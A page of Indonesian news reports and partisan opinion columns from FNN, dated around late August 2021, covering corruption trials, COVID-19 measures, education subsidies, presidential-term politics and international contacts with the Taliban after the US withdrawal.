Mengapa Jokowi Gagal Meraih Prestasi Dalam Isu Perubahan Iklim

Perbankan tidak pernah sejalan dengan visi pemerintah Oleh Salamuddin Daeng Perbankan di Indonesia tidak memiliki visi yang sejalan dengan komitmen pemerintah. Perbankan Indonesia layaknya lintah darat yang berorientasi bunga yang mencekik. Lebih dari itu tidak ada visi perbankan dalam masalah masalah lingkungan hidup dan masalah keadilan sosial. Bagaimana mungkin pemerintah dapat meraih komitmen besar di bidang lingkungan hidup tanpa melibatkan masyarakat dan dunia usaha? Sementara keterlibatan mereka butuh dukungan perbankan. Bagaimana mungkin pemerintah bisa meraih konsensus climate change, sementara sumber pembiayaan untuk meraihnya tidak disediakan oleh perbankan ? Bagaimana mungkin dunia usaha terlibat jika isu penurunan emisi, sementara isu perubahan iklim ini didesain sebagai isu yang berbiaya mahal oleh perbankan? Akibatnya agenda ini hendak disukseskan dengan cara memeras keuangan BUMN. Akibatnya pemerintah jalan sendiri dan bank hanya mencari celah untuk mengambil keuntungan secara sepihak dari kebijakan pemerintah namun tidak dalam rangka mendukung visi besar pemerintah. Seperti pepatah kesempatan dalam kesempitan. Idiom dunia tukang kredit ; Anda butuh uang? Bank menyediakan. Tapi anda dicekik. Bukan untuk mendukung tujuan anda tapi untuk menjerat leher anda. Bayangkan sebagian besar kredit perbankan indonesia hanya dialokasikan bagi tambang energi kotor dan pembangkit energi fosil. Tidak ada dukungan perbankan membiayai energi bersih. Sementara BUMN yang ditugaskan pemerintah untuk meningkatkan bauran energi tidak punya modal, tidak punya uang, dan usahanya pun berjalan tertatih tatih. Akibatnya tidak ada satu pun usaha di bidang energi yang layak yang memenuhi aspek studi kelayakan, yang menguntungkan secara ekonomi dalam berbagai skala usaha, yang dapat dikerjakan oleh masyarakat, koperasi, UMKM, dan juga oleh BUMN. Hanya usaha energi kotor yang layak, karena memang sudah establish, konglomerasi energi kotor kian kaya, mendapatkan karpet merah dari perbankan, fasilitas kredit mudah, dukungan perbakkan dan dukungan keuangan lainnya. Padahal lima tahun lebih sudah waktu yang dilalui Presiden Jokowi untuk memenuhi komitmennya pada perjanjian internasional dalam bidang lingkungan hidup. Presiden menandatangani COP 21 Paris tahun 2016 di hadapan pemimpin dunia. Perjanjian ini juga telah disyahkan menjadi UU melalui DPR. Sebuah komitmen bersama internasional untuk menurunkan emisi karbon, yang merupakan penyebab kerusakan lingkungan nomor satu saat ini. Komitrmen yang baik dalam rangka memperbaiki kualitas hidup.manusia dam kualitas hidup bangsa Indonesia. Lalu mengapa presiden Jokowi tidak bisa mengatur bank? Perbankkan ini tunduk pada siapa. *) Peneliti AEPI

Karyawan Baru di Masa Pandemi Kerap Alami Cemas, Apa Sebabnya?

Jakarta, FNN - Sebagian karyawan baru di masa pandemi COVID-19 ini ternyata mengalami rasa cemas, salah satunya terkait keraguan bisa diterima bos dan rekan-rekannya, ungkap Managing Director, Good Doctor Technology Indonesia, Danu Wicaksana. Kesulitan mereka bertemu bos dan rekan-rekan baru secara langsung saat ini menjadi salah satu penyebabnya. Selain membuat cemas, ini juga membuat mereka kurang percaya diri. "Banyak karyawan yang baru aja join dan belum ketemu bos dan rekan-rekan secara fisik sering mengalami tantangan tersendiri. Mereka merasa cemas apa mereka diterima, kurang percaya diri," kata dia dalam diskusi media secara virtual mengenai kesehatan mental, Rabu. Hanya saja, menurut dia, cemas dan masalah terkait kesehatan mental lainnya ini sering tak dilihat penting oleh pihak perusahaan. Padahal, seharusnya masalah kesehatan mental sama halnya dengan fisik, perlu menjadi bagian penting dalam pencegahan penyakit yang sering menelan biaya tinggi dalam perawatan kesehatan. Danu berpendapat, biaya perawatan kesehatan tinggi salah satunya akibat tidak dilakukannya pencegahan dari awal dan terlalu fokus pada penanganan. Atas dasar inilah, Danu menggandeng perusahaan untuk melihat pencegahan dan penanganan sebagai peluang untuk menjaga kesehatan karyawan mereka, salah satunya melalui program "Super Warrior Wellness". "Buat perusahaan akan sangat menguntungkan karena untuk setiap perusahaan di Indonesia, aset yang paling berharga bukanlah mesin atau produk tetapi karyawan," tutur dia. Dalam program ini, karyawan diajak melakukan beberapa elemen kunci untuk menjaga keseimbangan kesehatan fisik dan mental, seperti kegiatan olahraga online misalnya yoga, zumba, lalu memeriksakan kesehatan, mengikuti program vaksinasi dan terlibat dalam kampanye hidup sehat. "Kami merancang suatu program yang tidak hanya terkait konsultasi dokter, pemberian obat, namun juga menambahkan tantangan kesehatan, bincang sehat secara online. menyeimbangkan fisik dan mental," kata Danu. Salah satu perusahaan yang kini berpartisipasi, AXA Finansial Indonesia. Menurut President Director, AXA Financial Indonesia, Niharika Yadav, penyediaan layanan kesehatan melalui digital menjadi bagian penting bagi karyawan dan klien mereka untuk hidup yang lebih baik. (mth)

TNI Kirim Generator Oksigen untuk Rumah Sakit di Wamena

Jakarta, FNN - Tentara Nasional Indonesia (TNI) mengirimkan bantuan satu unit generator oksigen untuk RSUD Wamena, Kabupaten Jayawijaya, Papua Barat. Bantuan generator oksigen tersebut diterbangkan menggunakan pesawat Hercules C-130 A-1331 dari Skadron Udara 32 Lanud Abdulrachman Saleh Malang, Jawa Timur, Rabu. Kabidpenum Puspen TNI, Kolonel Laut (KH) Edys Riyanto dalam siaran persnya, mengatakan bantuan generator oksigen tersebut nantinya akan digunakan memenuhi pasokan oksigen medis untuk membantu penanganan dan pengendalian COVID-19 di Papua Barat, khususnya RSUD Wamena. Pengerahan pesawat angkut TNI AU itu, kata Kolonel Edys, merupakan perintah langsung Panglima TNI Marsekal TNI Hadi Tjahjanto dalam mendukung pemerintah untuk membantu masyarakat guna mempercepat penanganan COVID-19 di Tanah Air. Pesawat Hercules C-130 A-1331 dengan Pilot Letkol Pnb Bandung ini "take off" dari Lanud Abdulrachman Saleh Malang pada pukul 06.00 WIB dan akan transit di Lanud Hasanuddin Makassar, Sulawesi Selatan, sebelum melanjutkan penerbangan menuju Lanud Patimura Ambon, Lanud Yohanis Kapiyau Timika, dan Lanud Wamena Kabupaten Jayawijaya. "Bantuan satu unit generator oksigen dari TNI nantinya akan diserahkan secara simbolis oleh Pangkogabwilhan III Mayjen TNI Jeffry A Rahawarin mewakili Panglima TNI kepada perwakilan Bupati Jayawijaya John Richard Banua," ujarnya. Seperti diketahui, selama bulan Agustus 2021, TNI telah memberikan bantuan alat kesehatan (alkes) untuk wilayah Papua Barat guna membantu penanganan dan pencegahan COVID-19 berupa 50 tabung Oxygen Concentrator, 50 tabung oksigen isi, 150.000 masker medis, 1.000 APD, 1.000 sarung tangan medis, dan 20.000 rapid test antigen. (sws)

Batas Unggah SPTJM untuk Bantuan Kuota Diperpanjang hingga 7 September

Jakarta, FNN - Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi (Kemendikbudristek) menyatakan batas akhir unggah Surat Pernyataan Tanggung Jawab Mutlak (SPTJM) oleh sekolah untuk bantuan kuota data internet diperpanjang sampai 7 September 2021. “Kami minta bapak dan ibu kepala satuan pendidikan untuk segera melakukan pemutakhiran data dan nomor ponsel siswa, mahasiswa, guru maupun dosen pada sistem Data Pokok Pendidikan dan Pangkalan Data Pendidikan Tinggi,” ujar Dirjen PAUD Dikdasmen Kemendikbudristek, Jumeri di Jakarta, Rabu. Kemudian, SPTJM pada vervalponsel.data.kemdikbud.go.id untuk jenjang PAUD Dikdasmen dan kuotadata.kemdikbud.go.id untuk jenjang pendidikan tinggi. Unduh SPTJM untuk pengajuan September 2021 paling lambat 5 September dan pengunggahan paling lambat pada 7 September. Unduh SPTJM untuk pengajuan Oktober 2021 paling lambat 5 Oktober dan pengunggahan paling lambat pada 7 Oktober . Sementara unduh SPTJM untuk pengajuan November 2021 paling lambat 5 November dan pengunggahan paling lambat pada 7 November. Kemendikbudristek kembali memberikan bantuan kuota internet untuk siswa, mahasiswa, guru dan dosen. Besaran bantuan yang diberikan untuk peserta didik PAUD 7 GB per bulan, peserta didik jenjang pendidikan dasar dan menengah 10 GB per bulan, pendidik menengah atas 12 GB per bulan, dan mahasiswa beserta dosen 15 GB per bulan. Bantuan kuota data internet tersebut akan disalurkan pada tanggal 11 September hingga 15 September, 11 Oktober hingga 15 Oktober dan 11 November hingga 15 November 2021. Kuota tersebut berlaku selama 30 hari sejak diterima. (mth)

Mantan Pejabat Ditjen Pajak Angin Prayitno Segera Disidang

Jakarta, FNN - Mantan Direktur Pemeriksaan dan Penagihan Direktorat Jenderal Pajak (DJP) Angin Prayitno Aji segera menjalani persidangan dalam perkara dugaan penerimaan suap terkait pemeriksaan terhadap tiga wajib pajak. "Pemberkasan perkara tersangka APA (Angin Prayitno Aji) telah dinyatakan lengkap oleh Tim Jaksa Penuntut Umum (JPU), maka pada Selasa (31/8), tim penyidik telah melaksanakan tahap II, yaitu penyerahan tersangka dan barang bukti kepada Tim JPU," kata Plt Juru Bicara KPK Ali Fikri di Jakarta, Rabu. Dalam waktu 14 hari kerja, Tim JPU segera menyusun surat dakwaan dan melimpahkan berkas perkaranya ke Pengadilan Tindak Pidana Korupsi (Tipikor). "Persidangan diagendakan berlangsung di Pengadilan Tipikor pada Pengadilan Negeri Jakarta Pusat," ungkap Ali. Penahanan dilanjutkan oleh Tim JPU selama 20 hari, terhitung mulai 31 Agustus 2021 sampai 19 September 2021 di Rumah Tahanan KPK Kavling C1. "Selama proses penyidikan telah dilakukan pemeriksaan 150 saksi di antaranya para tim pemeriksa pada Ditjen Pajak dan pihak swasta terkait lainnya," tambah Ali. Dalam perkara ini, KPK telah menetapkan enam tersangka. Sebagai penerima ada dua orang tersangka, yaitu Angin Prayitno dan mantan Kepala Subdirektorat Kerja Sama dan Dukungan Pemeriksaan Ditjen Pajak Dadan Ramdani (DR). Sedangkan sebagai tersangka pemberi adalah wajib pajak Veronika Lindawati (VL) serta tiga konsultan pajak masing-masing Ryan Ahmad Ronas (RAR), Aulia Imran Maghribi (AIM), dan Agus Susetyo (AS). KPK menduga Angin dan Dadan menyetujui, memerintahkan, dan mengakomodir jumlah kewajiban pembayaran pajak yang disesuaikan dengan keinginan dari wajib pajak atau pihak yang mewakili wajib pajak. Keduanya diduga menerima suap puluhan miliar rupiah terkait pemeriksaan pajak terhadap tiga wajib pajak, yaitu PT Gunung Madu Plantations untuk tahun pajak 2016, PT Bank PAN Indonesia Tbk untuk tahun pajak 2016, dan PT Jhonlin Baratama untuk tahun pajak 2016 dan 2017. Ada pun rinciannya, yakni pada Januari-Februari 2018 sebesar Rp15 miliar diserahkan oleh Ryan dan Aulia sebagai perwakilan PT Gunung Madu Plantations. Selanjutnya pada pertengahan 2018 sebesar 500 ribu dolar Singapura yang diserahkan oleh Veronika sebagai perwakilan PT Bank PAN Indonesia Tbk dari total komitmen sebesar Rp25 miliar. Kemudian dalam kurun waktu Juli-September 2019 sebesar total 3 juta dolar Singapura diserahkan oleh Agus sebagai perwakilan PT Jhonlin Baratama. Atas perbuatannya, Angin dan Dadan sebagai penerima disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan empat tersangka lainnya sebagai pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 KUHP. (sws)

Polresta Banyumas Pertahankan Penyekatan di Sejumlah Ruas Jalan

Purwokerto, FNN - Kepolisian Resor Kota (Polresta) Banyumas, Jawa Tengah, mempertahankan penyekatan di sejumlah ruas jalan untuk mengurangi mobilitas warga meskipun kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) di daerah ini telah turun menjadi level 3. "Penyekatan masih tetap dilakukan setiap hari. Kalau di perbatasan Kabupaten Banyumas ada di dua titik, yakni Ajibarang dan Tambak," kata Kepala Polresta Banyumas Komisaris Besar M Firman L Hakim melalui Kepala Satuan Lalu Lintas Komisaris Ari Prayitno di Purwokerto, Kabupaten Banyumas, Rabu. Khusus hari Jumat hingga Minggu, kata dia, penyekatan di perbatasan Kabupaten Banyumas ditambah dua titik, yakni Sokaraja dan Wangon. Sementara untuk penyekatan di Ring I dalam kota Purwokerto seperti di Simpang Palma, lanjut dia, dilakukan setiap hari mulai pukul 21.00 WIB hingga 06.00 WIB. "Penyekatan tersebut dilakukan untuk membatasi mobilitas warga dalam rangka penanganan COVID-19," katanya. Ia mengatakan mekanisme tindakan di setiap titik penyekatan tersebut secara umum sama seperti saat PPKM level 4. Selain itu, kata dia, pihaknya melakukan edukasi dan memberikan imbauan kepada semua pengendara kendaraan bermotor yang melintas agar mereka mengunduh aplikasi PeduliLindungi maupun Banyumas Tangguh 19. "Sosialisasi juga dilakukan unit-unit lain di dalam kota Purwokerto setiap hari, baik melalui operasi yustisi maupun kegiatan lain," katanya. (mth)

Awas, Ketua MPR Bambang Soesatyo Kunci Tiga Periode

By Asyari Usman SALAH seorang figur politik yang berpotensi menghancurkan reformasi Indonesia adalah Bambang Soesatyo (Bamsoet). Dia menjabat sebagai ketua Majelis Permusyawaratan Rakyat (MPR). Bamsoet bisa merusak bangsa ini karena dia ada pada posisi untuk menjadi fasilitator keinginan Jokowi untuk duduk sebagai presiden tiga periode. Atau setidaknya diperpanjang sampai 2027 lewat Tap MPR. Akhir-akhir ini wacana (gagasan) untuk mengubah (mengamandemen) UUD 1945 semakin gencar dibicarakan. Memang tujuan tunggal amandemen adalah untuk menghidupkan kembali pedoman pembangunan nasional dalam bentuk Pokok-Pokok Haluan Negara (PPHN) yang dulu disebut GBHN. Tetapi, sidang MPR dengan agenda tunggal penyusunan PPHN itu sangat mungkin dibajak untuk membicarakan masa jabatan presiden. Ini yang sangat berbahaya. Memang Bamsoet menegaskan selama ini MPR tidak pernah membahas masa jabatan presiden. Dan dia juga mengatakan Jokowi tidak ingin amandemen melebar ke pembahasan masa jabatan presiden tiga periode. Yang menjadi masalah ialah, di Indonesia ini 95% politikus tidak bisa dipercaya. Lidah mereka bisa ditumbuhi tulang khusus untuk menipu rakyat. Yaitu, tulang tiga periode. Hari ini Bamsoet mati-matian menjamin tidak akan terjadi tiga periode jabatan presiden. Namun, ketika nanti sidang berjalan, dia bisa dengan enteng berkilah bahwa sebagian besar anggota MPR menghendaki pembahasan tiga periode. Dan Bamsoet pun ketuk palu tiga periode atas kehendak rakyat yang diwakili sekian ratus anggota MPR. Perlu diingat bahwa gerakan tiga periode itu punya kronologi yang sangat rapi. Pertama, lembaga “surpay” abal-abal menurunkan hasil penelitian bahwa rakyat senang dengan kinerja Jokowi. Lebih 66% responden puas (Maret 2021). Kemudian, dimunculkan Komunitas Jokpro 2024 (Juni 2022) yang mendukung Jokowi tiga periode bersama Prabowo. M Qodari, penggagas Jokpro, mengatakan dia mendukung Jokowi tiga periode. Jokowi sendiri membiarkan Jokpro melakukan kegiatan. Setelah itu, Bamsoet menjumpai Jokowi di Istana Bogor (13/8/2021). Mereka membicarakan proses amandemen untuk menampung PPHN. Di situlah, kata Bamsoet, Jokowi menegaskan dia tidak mau amandemen tunggal melebar ke periodisasi jabatan presiden. Setelah itu, Jokowi mengumpulkan para ketum dan sekjen parpol koalisi pemerintah, termasuk ketua umum PAN, Zulkifli Hasan, sebagai anggota baru. Para pengamat menafsirkan pertemuan ini sebagai konsolidasi amandemen tiga periode. Dengan bergabungnya PAN, koalisi hanya kekurangan 3 anggota MPR untuk meloloskan tiga periode. Tentu mencari 3 kursi itu akan sangat mudah. Jangankan 3, mencari 300 pun tidak masalah bagi konsorsium bandar tiga periode. Tapi, sekali lagi, kunci amandemen tiga periode itu ada di tangan Bamsoet. Dia sudah sangat berpengalaman. Dia ada pada posisi untuk membuka pintu amandemen tiga periode. Dan dia juga bisa menutup rapat pintu itu, kalau dia tidak sedang “silau mata”. Jadi, hati-hatilah dengan Bamsoet. Beliau termasuk politikus yang tidak bisa dipercaya. (Penulis wartawan senior)

KPK Ajukan Banding Atas Vonis Walikota Cimahi Ajay Priyatna

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengajukan banding terhadap vonis Wali Kota Cimahi, Jawa Barat, nonaktif Ajay M Priyatna dalam perkara dugaan tindak pidana korupsi penerimaan suap untuk memuluskan perizinan proyek rumah sakit. "Setelah kami pelajari pertimbangan majelis hakim, Tim Jaksa KPK telah menyatakan upaya hukum banding ke Pengadilan Tinggi Bandung," kata Plt Juru Bicara KPK Ali Fikri di Jakarta, Rabu. Pada 25 Agustus 2021, Majelis Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Bandung menjatuhkan vonis 2 tahun dan pidana denda Rp100 juta subsider 3 bulan penjara kepada Ajay. Majelis hakim menilai Ajay hanya terbukti bersalah sesuai Pasal 12 huruf a UU No. 31 Tahun 1999 sebagaimana diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tipikor Jo Pasal 64 ayat (1) KUHPidana. Vonis tersebut lebih ringan dibandingkan tuntutan Jaksa Penuntut Umum (JPU) KPK yang menuntut agar Ajay divonis 7 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan. JPU KPK juga menuntut Ajay agar membayar uang pengganti sebesar Rp7 miliar dan pencabutan hak politik selama 5 tahun setelah selesai menjalani pidana pokok. Tuntutan tersebut berdasarkan dua dakwaan, yaitu Pasal 12 huruf a dan Pasal 12 B UU No. 31 Tahun 1999 sebagaimana diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tipikor jo Pasal 65 ayat (1) KUHP. "Alasan banding antara lain putusan majelis hakim kami nilai belum memenuhi rasa keadilan masyarakat utamanya dalam hal penjatuhan amar pidana baik pidana penjara maupun pidana tambahan berupa jumlah pembebanan uang pengganti hasil korupsi yang dinikmati terdakwa serta pencabutan hak untuk dipilih dalam jabatan publik," ungkap Ali. Alasan lainnya adalah tidak terbuktinya dakwaan jaksa mengenai pembuktian Pasal 12 huruf a UU No. 31 Tahun 1999 sebagaimana diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tipikor terkait suap dan gratifikasi. "Kami berpendapat, majelis hakim dalam pertimbangannya telah mengabaikan fakta hukum yang terungkap di persidangan," tambah Ali. Ali menyebut JPU KPK akan menyusun alasan lengkapnya dalam memori banding. "Kami akan segera menyusun memori banding berisi alasan lengkapnya dan menyerahkan kepada Pengadilan Tinggi melalui Kepaniteraan PN Bandung," ungkap Ali. (sws).

India Lakukan Pertemuan Resmi Pertama dengan Taliban

New Delhi, FNN - Duta besar India untuk Qatar menggelar pertemuan dengan pemimpin senior Taliban pada Selasa (31/8), menurut Kementerian Luar Negeri India. Pertemuan itu merupakan kontak resmi pertama sejak kelompok tersebut menguasai Afghanistan. Duta Besar India Deepak Mittal bertemu dengan Kepala Kantor Politik Taliban Sher Mohammad Abbas Stanekzai atas permintaan Taliban, kata kementerian. India telah lama khawatir soal Taliban lantaran hubungan dekatnya dengan negara musuhnya, Pakistan. Kementerian menyebutkan bahwa kedua pihak membahas keselamatan warga India yang masih berada di Afghanistan. Mittal juga mengungkapkan kekhawatiran pemerintahnya bahwa milisi anti-India bisa memanfaatkan wilayah Afghanistan untuk melancarkan serangan, menurut kementerian. "Utusan Taliban meyakinkan duta besar (India) bahwa masalah ini akan ditangani secara positif," kata Kementerian Luar Negeri. Pembicaraan itu terjadi beberapa hari setelah Stanekzai, yang dikutip media setempat, mengatakan Taliban menghendaki hubungan politik dan ekonomi dengan India. Tidak ada komentar langsung dari Taliban mengenai pembicaraan dengan India. India menginvestasikan lebih dari tiga miliar dolar AS (sekitar Rp42,8 triliun) dalam proyek pembangunan di Afghanistan dan telah menjalin hubungan dekat dengan pemerintah Kabul dukungan AS. Namun kemajuan Taliban yang pesat membuat pemerintah India menghadapi kritikan di dalam negeri karena tidak membuka akses komunikasi dengan Taliban. Pada Juni, kontak informal terjalin dengan para pemimpin politik Taliban di Doha, ungkap sumber pemerintah. Aspek yang menjadi ketakutan besar adalah bahwa kelompok garis keras yang memerangi pemerintah India di Kashmir, wilayah yang berpenduduk mayoritas Muslim, menjadi berani dengan kemenangan Taliban atas pasukan asing, menurut salah satu sumber. "Duta Besar Mittal menyampaikan kekhawatiran India bahwa wilayah Afghanistan tidak boleh dimanfaatkan untuk kegiatan anti-India dan terorisme melalui cara apa pun," kata Kementerian luar Negeri. Ketika Taliban terakhir berkuasa sejak 1996-2001, India bersama dengan Rusia dan Iran mendukung Aliansi Utara melakukan perlawanan bersenjata terhadap mereka. Stanekzai, yang disebut para pejabat India pernah mendapat pelatihan di akademi militer India sebagai pejabat Afghanistan pada 1980-an, secara informal menghubungi India pada Juli untuk meminta negara itu tidak menutup kedutaan besarnya, menurut sumber tersebut. (sws)

Qatar: Mengisolasi Taliban Dapat Menyebabkan Ketidakstabilan Lebih Lanjut

Qatar, FNN - Qatar pada Selasa (31/8) memperingatkan bahwa mengisolasi Taliban dapat menyebabkan ketidakstabilan lebih lanjut dan mendesak negara-negara untuk terlibat dengan gerakan Islam garis keras untuk mengatasi masalah keamanan dan sosial ekonomi di Afghanistan. “Kalau kita mulai menentukan syarat-syarat dan menghentikan kontak ini, kita berarti membiarkan ada kekosongan, dan pertanyaannya adalah, siapa yang akan mengisi kekosongan ini?,” kata Menteri Luar Negeri Qatar Sheikh Mohammed bin Abdulrahman Al Thani di Doha, bersama mitranya dari Jerman, Menlu Heiko Maas. Negara Teluk Arab yang bersekutu dengan AS itu telah muncul sebagai teman bicara utama bagi Taliban, setelah menjadi tuan rumah kantor politik bagi kelompok itu sejak 2013. Tidak ada negara yang mengakui Taliban sebagai pemerintah Afghanistan setelah kelompok itu merebut Kabul pada 14 Agustus. Banyak negara Barat telah mendesak kelompok itu untuk membentuk pemerintahan yang inklusif dan menghormati hak asasi manusia. "Kami percaya bahwa, tanpa keterlibatan, kita tidak dapat mencapai ... kemajuan nyata di bidang keamanan atau di bidang sosial ekonomi," kata Sheikh Mohammed. Ia menambahkan bahwa mengakui Taliban sebagai pemerintah bukanlah prioritas. Menteri Luar Negeri Jerman Maas mengatakan kepada wartawan bahwa pemerintahnya bersedia membantu Afghanistan, tetapi ada syarat-syarat tertentu untuk mendapatkan bantuan internasional. Taliban, yang telah mengadakan pembicaraan dengan anggota pemerintah Afghanistan sebelumnya dan masyarakat sipil lainnya, mengatakan mereka akan segera mengumumkan susunan lengkap kabinet. Sheikh Mohammed mengatakan kelompok itu telah menunjukkan keterbukaan terhadap gagasan soal pemerintah yang inklusif. Taliban dikenal dengan aturan yang keras dari 1996 hingga 2001. Pada masa itu, mereka memaksakan penerapan pemahaman garis keras soal hukum Islam. Mereka juga menindas perempuan, termasuk melarang perempuan belajar dan bekerja. Taliban telah berusaha untuk meredakan kekhawatiran dengan menyatakan komitmen bahwa pihaknya akan menghormati hak-hak individu. Taliban juga menegaskan bahwa, di bawah pemerintahan kelompoknya, perempuan akan dapat belajar serta bekerja. Sheikh Mohammed mengatakan mengisolasi Taliban selama pemerintahan terakhir mereka 20 tahun lalu menyebabkan situasi seperti saat ini muncul. Sejak Taliban merebut Kabul, telah terjadi "keterlibatan luar biasa" dalam evakuasi dan kontraterorisme, yang memberikan "hasil positif," katanya. Sheikh Mohammed menambahkan bahwa pembicaraan tentang bantuan Qatar untuk menjalankan bandara Kabul sedang berlangsung dan tidak ada keputusan soal itu. Sementara itu Maas mengatakan, "Tidak ada jalan untuk menghindar dari pembicaraan dengan Taliban." Ia menambahkan bahwa masyarakat internasional tidak boleh membiarkan ketidakstabilan berlangsung di Afghanistan. (Sumber : Reuters)

Pekerja Pribumi Harus Dilindungi

By M Rizal Fadillah ABDUL Ghani Baradar pemimpin Afghanistan di depan pertemuan IATA yang dihadiri pejabat dan pengusaha Saudi Arabia serta utusan anggota IATA menyatakan dengan tegas "Silahkan inves dan mengelola kekayaan Afghanistan termasuk hotel yang memang negara kami minus perhotelan dengan catatan adil dalam bagian dan tenaga kerja wajib dari pribumi Afghanistan". Pernyataan Baradar tersebut menyebar di berbagai media yang memberi gambaran realisasi jaminan bahwa Taliban kini telah berubah. Menampilkan sosok yang siap bekerjasama dengan banyak pihak. IATA langsung atau tidak berhubungan dengan pengembangan destinasi wisata setiap anggota. Kehadiran dan tawaran Afghanistan tentu menarik bahkan unik. Suatu negara yang rentan konflik bahkan seperti tak pernah sepi dari perang kini siap untuk menjadi destinasi wisata dan menjadi bagian dari lalu lintas transportasi udara dunia yang terbuka. Investasi perhotelan diundang. Artinya Pemerintahan Baradar lebih siap untuk menjamin keamanan dan stabilitas. Afganistan sebagai wilayah "keras" kini menawarkan persahabatan. Taliban bukan teroris yang menakutkan. Itulah sekurangnya yang dipesankan Baradar. Ia ingin dunia hadir ke negerinya dengan penuh sukacita menikmati alam dan kehidupan sosial yang ramah. Yang lebih penting dalam pesannya adalah proteksi untuk pekerja pribumi. Sebesar apapun investasi namun tidak boleh menggusur lapangan kerja bagi warga Afghanistan sendiri. Komitmen Pemerintahan Taliban ini patut digaris bawahi. "Kami takut kelak di akhirat nanti diminta pertanggungjawaban kalau sampai mengizinkan tenaga kerja asing sementara rakyat kami jadi pengangguran, betapa kami zalim karena kekayaan Afghanistan adalah sepenuhnya milik rakyat Afghanistan" Di tengah membanjirnya TKA asal China ke Indonesia, nampaknya pesan ini cukup menohok. Indonesia bekerja keras merayu kehadiran investor, akan tetapi disayangkan paketnya adalah tenaga kerja asing yang menyertai. Sementara angka pengangguran angkatan kerja cukup tinggi dan suara kritik untuk menyetop banjirnya TKA China tersebut dianggap angin lalu saja. Rezim atau oknum pendukung yang masih berteriak Taliban harus diwaspadai bahkan dijauhi karena radikalisme atau terorisme yang dikhawatirkannya haruslah mulai berkaca diri. Perlindungan lemah pekerja pribumi dan membuka kran kedatangan masif TKA China adalah wajah buruk pemimpin bangsa. Wajah buruk dan kriminal rezim bagaikan teroris yang membawa bom bunuh diri yang sedang meneror para pekerja pribumi. Wajah yang jauh lebih buruk daripada wajah Taliban yang dituduh dan dijelekkan kemana-mana. Ketika Afghanistan membuka dan mengundang investasi, maka ayolah pengusaha hebat Indonesia berinvestasi di Afghanistan. Hanya saja satu catatan janganlah berinvestasi dalam beternak kodok dan cebong di sana. Afghanistan adalah negeri ahlus sunnah wal jama'ah yang jumhur ulama tidak membolehkan untuk makan kodok apalagi cebong ! *) Pemerhati Politik dan Kebangsaan

Pendukung Taliban Arak Peti Mati Berbendera Amerika

Kairo, FNN - Kepergian pasukan Amerika Serikat dan Pakta Tertahanan Atlantik Utara (NATO-North Atlantic Treaty Organization) dari Afghanistan disambut sukacita oleh massa pendukung Taliban. Mereka mengarak sejumlah peti mati yang dibungkus bendera negara Paman Sam dan bendera NATO. Aksi pendukung Taliban itu terlihat kota Khost. sebuah kota timur Afghanistan. Sejumlah peti mati yang diarak merupakan bagian dari perayaan kemenangan di seluruh negeri tersebut. Prosesi pemakaman olok-olokan itu menandai berakhirnya perang 20 tahun serta kepergian yang tergesa-gesa dan memalukan bagi Washington serta negara-negara sekutunya di NATO. Selama aksi pada Selasa (31/8), massa pendukung Taliban juga mengarak sejumlah peti mati yang ditutupi dengan bendera Prancis dan Inggris di sepanjang jalan melalui kerumunan banyak orang. Beberapa orang di antara kerumunan mengangkat senjata tinggi-tinggi. Sedangkan yang lainnya mengibar-ngibarkan bendera Taliban atau merekam prosesi itu dengan ponsel mereka. "31 Agustus adalah hari kebebasan resmi kita. Pada hari ini, pasukan pendudukan Amerika dan pasukan NATO meninggalkan Afghanistan," kata pejabat Taliban, Qari Saeed Khosti kepada stasiun televisi lokal Zhman TV. Cuplikan dari Khost dibagikan secara luas di media sosial pada Selasa bersama dengan video tembakan perayaan lainnya di Ibu Kota Kabul. Selain itu, ada video yang memperlihatkan seorang pria bergantung di helikopter Black Hawk buatan AS yang berputar-putar di atas Kota Khandahar. Reuters tidak dapat memverifikasi semua video itu. Tentara AS menaiki penerbangan terakhir dari Afghanistan satu menit sebelum tengah malam pada Senin (30/8). Keberangkatan mereka itu mengakhiri evakuasi yang kacau pada 123.000 warga sipil dari Afghanistan. Dalam serangan kilat, Taliban menggulingkan pemerintah yang didukung dan dipersenjatai AS. Senjata-senjata serta perangkat keras buatan AS ditinggalkan oleh pasukan Afghanistan yang melarikan diri. Berbagai gambar lain yang dibagikan secara daring pada Selasa memperlihatkan para anggota Taliban berjalan menuju bandara Kabul dengan mengenakan seragam yang dulu dipasok AS. Beberapa di antara mereka mengacungkan senapan berkilauan. Sedangkan yang lainnya mencoba teropong malam canggih (night vision googles) atau mengamati helikopter-helikopter AS. Juru bicara Pentagon, John Kirby mengatakan militer AS tidak khawatir dengan gambar tersebut karena helikopter tidak dapat diterbangkan. Sebelum berangkat meninggalkan Afghanistan, pasukan AS menghancurkan lebih dari 70 pesawat dan puluhan kendaraan lapis baja. Pasukan AS juga melumpuhkan pertahanan udara, yang sebelumnya menggagalkan upaya serangan roket ISIS (Islamic State of Iraq and Syria) pada malam keberangkatan mereka. (MD).

Menyoal Rencana Revisi Permen ESDM No.49/2018 tentang Penggunaan PLTS Atap

